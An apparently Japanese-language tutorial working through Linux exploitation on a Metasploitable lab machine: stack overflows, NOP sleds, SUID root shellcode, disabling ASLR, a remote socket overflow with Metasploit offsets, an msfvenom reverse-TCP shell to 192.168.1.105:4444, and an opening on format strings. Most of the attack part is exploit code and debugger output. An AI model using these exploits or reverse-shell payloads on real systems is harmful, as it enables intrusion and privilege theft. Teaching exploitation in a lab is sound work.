linux脆弱性の利用
40210 ワード
キャッシュ領域オーバーフロー:
EBPベースポインタレジスタ、ESPスタックポインタベース.
EBPはプロセスの現在のスタックフレームの底部を指し、ESPは常にスタックの頂部を指す.スタックはメモリの高いアドレスから低いアドレスに逆方向に成長する.
#include
greeting(char *temp1, char *temp2){
char name[400];
strcpy(name, temp2);
printf("Hello %s %s
",temp1, name);
}
main(int argc, char * argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s
", argv[1], argv[2]);
return 0;
}
2番目のパラメータはPerlを用いて600個のAを注入する
~$ ./meet Mr `perl -e 'printf "A" x 600'`
Segmentation fault #
gdbデバッグ
~$ gdb -q meet
(gdb) run Mr `perl -e 'print "A" x 600'`
Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 600'`
Program received signal SIGSEGV, Segmentation fault.
0xb7e7825b in strlen () from /lib/tls/i686/cmov/libc.so.6
(gdb) info reg eip
eip 0xb7e7825b 0xb7e7825b
#はeipを制御ことができなくて、それはすでにメモリの中の別の場所を指しています.#コードを見ると、何度もネスト関数の呼び出しが行われ、毎回スタックに押し込まれていることがわかります.#オーバーフローすると、必ず関数の入力パラメータが破壊されます.
(gdb) b 6 #
Breakpoint 1 at 0x80483c2: file meet.c, line 6.
(gdb) run Mr `perl -e 'print "A" x 600'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 600'`
# 0x41414141
Breakpoint 1, greeting (temp1=0x41414141 ,
temp2=0x41414141 ) at meet.c:6
6 printf("Hello %s %s
",temp1, name);
(gdb)
書き込みデータがスタックにEIPを押し込む位置を超えるとtemp 1から始まる関数パラメータが上書きされる.
少しずつ値を増やしてeipを見つけようとします
(gdb) d 1 #
(gdb) run Mr `perl -e 'print "A" x 401'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 401'`
Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x08048409 in main (argc=0, argv=0x0) at meet.c:11
11 printf("Bye %s %s
", argv[1], argv[2]);
(gdb) info reg ebp eip
ebp 0xbff00041 0xbff00041
eip 0x8048409 0x8048409
(gdb) run Mr `perl -e 'print "A" x 404'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 404'`
Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGILL, Illegal instruction.
0x08048400 in main (argc=Cannot access memory at address 0x41414149
) at meet.c:10
10 greeting(argv[1], argv[2]);
(gdb) info reg ebp eip
ebp 0x41414141 0x41414141
eip 0x8048400 0x8048400
(gdb) run Mr `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 408'`
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp eip
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
(gdb) run Mr `perl -e 'print "A" x 409'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 409'`
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp eip
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
# gdb ,eip .
キャッシュ領域オーバーフローの結果:
1.サービスの拒否
2.EIPは制御され、システムレベルのアクセス権限で悪意のあるコードを実行する可能性がある
3.EIPは制御され、システムレベルまたはルート権限で悪意のあるコードを実行する
SUID概念:あるプロセスを一時的に昇格させ、あるファイルが自身の特権レベルで実行されることを許容する.
passwdコマンドのような列の所有者はルートユーザであり、通常のユーザがそれを実行すると、このプロセスはルートユーザとして実行される.
SUIDプログラムに脆弱性がある場合、脆弱性攻撃プログラムはそのファイルの所有者の特権を得てルート権限を得ることができる.
ローカルキャッシュ領域オーバーフロー脆弱性攻撃:
システムのメモリ領域にアクセスできるため、ローカルの脆弱性攻撃はリモートの脆弱性攻撃よりも容易である.
キャッシュ領域オーバーフローホール攻撃の基本概念は、ホールが存在するバッファをオーバーフローさせ、悪意のある目的でEIPを修正することであり、EIPは次の実行命令を指す.
関数を呼び出すと、EIPのコピーがスタックにコピーされ、関数呼び出しが完了すると、その後のコマンドを実行することができる.保存されたEIP値を変更できる場合、関数が戻ると、スタックからレジスタEIPにポップアップするのは破壊されたEIP値であり、次の実行命令を決定する.
NOPそり:
アセンブラコード中のNOPは、何も実行することなく、次のコマンドに移動することを表す.すなわち、空の操作である.アセンブラコードではコンパイラが改変操作を用いて最適化し,コードブロックにシムを追加して字揃えを実現する.攻撃者はNOPを用いてシムを実現する.NOPを脆弱性攻撃キャッシュ領域の前に置く場合,NOPそりと呼ぶ.EIPがNOPそりを指す場合,プロセッサはこのシムを1つのコンポーネントに踏み込む.x 86システムでは,操作コード0 x 90がNOPを表す.また、多くの表示法.0 x 90が最もよく使われる.
shellcodeの簡単な理解:gdb逆アセンブリによって抽出されたオペレーティングコード:
~$ gdb -q meet
(gdb) disass main
Dump of assembler code for function main:
0x080483e1 : push %ebp
0x080483e2 : mov %esp,%ebp
0x080483e4 : sub $0xc,%esp
0x080483e7 : mov 0xc(%ebp),%eax
0x080483ea : add $0x8,%eax
0x080483ed : mov (%eax),%edx
0x080483ef : mov 0xc(%ebp),%eax
0x080483f2 : add $0x4,%eax
0x080483f5 : mov (%eax),%eax
0x080483f7 : mov %edx,0x4(%esp)
0x080483fb : mov %eax,(%esp)
0x080483fe : call 0x80483a4
0x08048403 : mov 0xc(%ebp),%eax
0x08048406 : add $0x8,%eax
0x08048409 : mov (%eax),%edx
0x0804840b : mov 0xc(%ebp),%eax
0x0804840e : add $0x4,%eax
0x08048411 : mov (%eax),%eax
0x08048413 : mov %edx,0x8(%esp)
0x08048417 : mov %eax,0x4(%esp)
0x0804841b : movl $0x80484fd,(%esp)
0x08048422 : call 0x804830c
0x08048427 : mov $0x0,%eax
0x0804842c : leave
0x0804842d : ret
ネット上にはshellcodeライブラリがたくさんありますhttps://www.exploit-db.com/shellcode/
#include
#include
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
コンパイル実行の昇格権限:
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o shellcode shellcode.c
msfadmin@metasploitable:~$ chmod u+s shellcode
msfadmin@metasploitable:~$ sudo ./shellcode
root@metasploitable:/home/msfadmin# id
uid=0(root) gid=0(root) groups=0(root)
脆弱性攻撃の最も重要な要素はアドレスの値を返すことであり、バッファオーバーフローを充填する.できるだけshellcodeの開始位置を直接指す.制御不能な要素が多く、NOPの中間のある位置を指す可能性があり、ESPの値をテストしてみる.
#include
unsigned int get_sp(void) {
__asm__("movl %esp, %eax");
}
int main(){
printf("Stack pointer (ESP): 0x%x
", get_sp());
}
root@metasploitable:/home/msfadmin# ./stack_sp
Stack pointer (ESP): 0xbfa57f48
root@metasploitable:/home/msfadmin# ./stack_sp
Stack pointer (ESP): 0xbf8b25a8
root@metasploitable:/home/msfadmin# ./stack_sp
Stack pointer (ESP): 0xbfa51f48
root@metasploitable:/home/msfadmin# ./stack_sp
Stack pointer (ESP): 0xbf9bfeb8
root@metasploitable:/home/msfadmin# ./stack_sp
Stack pointer (ESP): 0xbff59c48
# , . .
#echo "0" > /proc/sys/kernel/randomize_va_space
# , .
# ESP, .
root@metasploitable:/home/msfadmin# ./stack_sp
Stack pointer (ESP): 0xbffffde8
root@metasploitable:/home/msfadmin# ./stack_sp
Stack pointer (ESP): 0xbffffde8
コマンドラインでスタックオーバーフロー・ホール攻撃を行います.
root@metasploitable:/home/msfadmin# perl -e 'print "\x90"x200';
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������root@metasploitable:/home/msfadmin sc
root@metasploitable:/home/msfadmin# wc -c sc # shellcode
53 sc
ESP値は0 xbff 59 c 48である、コマンドラインから攻撃が開始されると、コマンドラインパラメータはメイン関数を呼び出す前にスタックに入れる.
現在の試験手順のパラメータは、攻撃キャッシュ領域の長さが408バイトであり、そのうち上位200バイトがNOPそりである.
NOPの中央部への登録を確実にするためには、現在のスタックアドレスより前の300バイトで実行する必要がある.
この300バイトを元のスクリプトパラメータに加えると、計算されたESP値より後の708バイト、0 x 2 c 4がホップポイントとなる.
従って、現在のESPから0 x 300の10進数768を減算登録点を算出する.
0xbffff4f8 - 0x300 = 0xbffffae8
perl :
perl -e 'print"\xe8\xfa\xff\xbf"x38';
型取り演算を使用するには、次の手順に従います.
(408 bytes - 200 bytes of NOP - 53 bytes of Shellcode) / 4 bytes of address = 38.75
root@metasploitable:/home/msfadmin# ./meet mr `perl -e 'print "\x90"x200';``cat sc``perl -e 'print "\xe8\xf1\xff\xbf "x38';`
Hello mr ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀v�1��F�F
�
��V
̀1ۉ����/bin/sh���
Bye mr ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀v�1��F�F
�
��V
̀1ۉ����/bin/sh���
root@metasploitable:/home/msfadmin#
このバッファは405バイトしかないので、プログラムがクラッシュするのは、重複アドレスが充填時に整列していないためかもしれない.使用NOPの数を増やすことができる.
汎用脆弱性攻撃:
#include
#include
#include
#include
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[1]) {
int i, offset = 0;
unsigned int esp, ret, *addr_ptr;
char *buffer, *ptr;
int size = 500;
esp = get_sp();
if(argc > 1)
size = atoi(argv[1]);
if(argc > 2)
offset = atoi(argv[2]);
if(argc > 3)
esp = strtoul(argv[3], NULL, 0);
ret = esp - offset;
fprintf(stderr, "Usage: %s <0xfff...>
", argv[0]);
buffer = (char *)malloc(size);
ptr = buffer;
addr_ptr = (unsigned int *) ptr;
for(i=0; i < size; i+=4)
*(addr_ptr++) = ret;
for(i=0; i < size/2; i++)
buffer[i] = '0x90';
ptr = buffer + size / 2;
for(i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buffer[size-1] = 0;
execl("./meet", "meet", "Mr.", buffer, 0);
printf("%s
", buffer);
free(buffer);
return 0;
}
msfadmin@metasploitable:~$ ls -l meet
-rwsr-xr-x 1 msfadmin msfadmin 7590 2018-09-04 06:12 meet
#新しいユーザーを作成すると、プログラムを実行すると権限が向上します.
小さなバッファ・ホールへの攻撃:
#include
int main(int argc, char * argv[]){
char buff[10];
strcpy(buff, argv[1]);
}
#ユーザーを検証する必要がある
#include
#include
#include
#include
#define VULN "./smallbuff"
#define SIZE 160
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char **argv[]){
char p[SIZE];
char *env[] = { shellcode, NULL };
char *vuln[] = { VULN, p, NULL };
int *ptr, i, addr;
addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);
fprintf(stderr, "[***] using address: %#010x
", addr);
ptr = (int *)(p+2);
for (i=0; i < SIZE; i += 4)
*ptr++ = addr;
execle(vuln[0], (char *)vuln, p, NULL, env);
exit(1);
}
msfadmin@metasploitable:~$ chmod u+s smallbuff
msfadmin@metasploitable:~$ ls -l smallbuff
-rwsr-xr-x 1 msfadmin msfadmin 7192 2018-09-04 07:39 smallbuff
msfadmin@metasploitable:~$ ./exploit2
[***] using address: 0xbfffffba #
逆コンパイルでは、次のことがわかります.
msfadmin@metasploitable:~$ gdb exploit2 --quiet
(gdb) run
Starting program: /home/msfadmin/exploit2
[***] using address: 0xbfffffba
Executing new program: /home/msfadmin/smallbuff
脆弱性攻撃の開発プロセス:
1.制御EIP
2.オフセットの決定
3.攻撃ベクトルの決定
4.脆弱性攻撃の構築
5.脆弱性攻撃のテスト
6.脆弱性攻撃プログラムのデバッグ
試験手順:
#
msfadmin@metasploitable:~$ ./test &
[1] 5803
msfadmin@metasploitable:~$ netstat -anlp | grep test
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 5803/test
~# nc 192.168.1.104 5555 #
--------Login---------
Username: Test
Invalid Login!
Please Try again
perl -e 'print "A"x8096' | nc 192.168.1.104 5555
msfadmin@metasploitable:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /home/msfadmin/test
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5893]
0x41414141 in ?? () # EIP EBP
(gdb) i r eip esp ebp
eip 0x41414141 0x41414141
esp 0xbffffca8 0xbffffca8
ebp 0x41414141 0x41414141
キャッシュ領域のオーバーフローは、EIPを上書きするには、どのくらいの文字を使用するかを正確に知る必要があります.
リスナーに接続するpythonスクリプトを作成します.
プログラムが崩れたかどうかを見て、カバーするEIPを見つけます
#!/usr/bin/python
import socket
total = 1024
s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = "A"*total + "
"
s.send(exploit)
s.close
msfadmin@metasploitable:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /home/msfadmin/test
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5893]
0x41414141 in ?? ()
(gdb) i r eip esp ebp
eip 0x41414141 0x41414141
esp 0xbffffca8 0xbffffca8
ebp 0x41414141 0x41414141
#python
Metascloit pattern_の使用createツールは、バッファをオーバーフローさせる文字数を算出します.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B
脆弱性攻撃プログラムを実行します.
#!/usr/bin/python
import socket
total = 1024
sc = ""
sc += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"
s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = sc
s.send(exploit)
s.close
gdbはテストプログラムを実行します:
msfadmin@metasploitable:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /home/msfadmin/test
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5952]
0x41386941 in ?? () #
pattern_の使用offset.rbは、EIPが書き換えられた箇所におけるオフセット量の最初の264バイトを正確に知ることができる
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386941 -l 1024
[*] Exact match at offset 264
EIPの書き換え位置を知る、荷重を実行するためにジャンプするスタックアドレスを決定する.コードにNOPそりを入れる.より大きなジャンプ領域を作り、位置が少しずれてもNOPそりの位置までジャンプできる.
#!/usr/bin/python
import socket
total = 1024
off = 264
sc = ""
sc += "A"
noplen = 32
jmp = "BBBB"
s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = ""
exploit += "A"*off + jmp + "\x90" * noplen + sc
exploit += "C"*(total - off - 4 - len(sc) - noplen)
s.send(exploit)
s.close
msfadmin@metasploitable:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child
(gdb) run c
Starting program: /home/msfadmin/test c
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5979]
0x42424242 in ?? () #EIP
(gdb) x/32x $esp
0xbffffca8: 0x90909090 0x90909090 0x90909090 0x90909090 # NOP
0xbffffcb8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcc8: 0x43434341 0x43434343 0x43434343 0x43434343 #shellcode
0xbffffcd8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffffce8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffffcf8: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffffd08: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffffd18: 0x43434343 0x43434343 0x43434343 0x43434343
metasploitでshellcodeを生成するには:
~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -b "\x00\xff" -f python -v shellcode #-b
~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of python file: 384 bytes
shellcode = ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x01\x69\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
python攻撃プログラムを実行します.
#!/usr/bin/python
import socket
total = 1024
off = 264
shellcode = ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x01\x69\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
noplen = 32
jmp = "\xc8\xf4\xff\xbf"
s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = ""
exploit += "A"*off + jmp + "\x90"*noplen + shellcode
exploit += "C"*(total-off-4-len(shellcode)-noplen)
s.send(exploit)
s.close
gdbで表示:
msfadmin@metasploitable:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child
(gdb) run c
Starting program: /home/msfadmin/test c
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Executing new program: /usr/bin/id
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Program exited normally.
msfでのリスニング:
msf exploit(multi/handler) > set LHOST 192.168.1.104
LHOST => 192.168.1.104
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Command shell session 1 opened (192.168.1.105:4444 -> 192.168.1.104:33933) at 2018-09-05 02:17:56 +0800
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
成功の命中!!!
文字列脆弱性攻撃のフォーマット:
printf()出力結果を標準入力\出力ハンドルに印刷
fprintf()出力結果をファイルストリームに印刷する
sprintf()出力結果を文字列に印刷する
snprintf()出力結果を文字列に印刷し、内蔵長さチェック
任意のメモリから読み込み:
//
#include
#include
#include
int main(int argc, char *argv[]){
static int canary = 0;
char temp[2048];
strcpy(temp, argv[1]);
printf(temp);
printf("
");
printf("Canary at 0x%08x = 0x%08x
", &canary, canary);
}
コンパイル実行テスト:
msfadmin@metasploitable:~$ ./fmtstr Testing
Testing
Canary at 0x080496cc = 0x00000000
msfadmin@metasploitable:~$ chmod u+s fmtstr
msfadmin@metasploitable:~$ ./fmtstr "AAAA %08x %08x %08x %08x" #%x 4 8
AAAA bffffe87 00000000 b7fff668 bffffd84
Canary at 0x080496cc = 0x00000000
# %08x
msfadmin@metasploitable:~$ ./fmtstr "AAAA %08x %08x %08x %08x %08x %08x %08x %08x"
AAAA bffffe73 00000000 b7fff668 bffffd74 b7fff800 00000000 00000003 41414141
Canary at 0x080496cc = 0x00000000
%sは任意の文字列を読み込みます.
このフォーマット文字列を制御すると、任意の内容を文字列に入れることができ、%sフォーマット制御文字はスタックから次のパラメータを読み出す.
ポインタによるメモリアドレスの読み取り
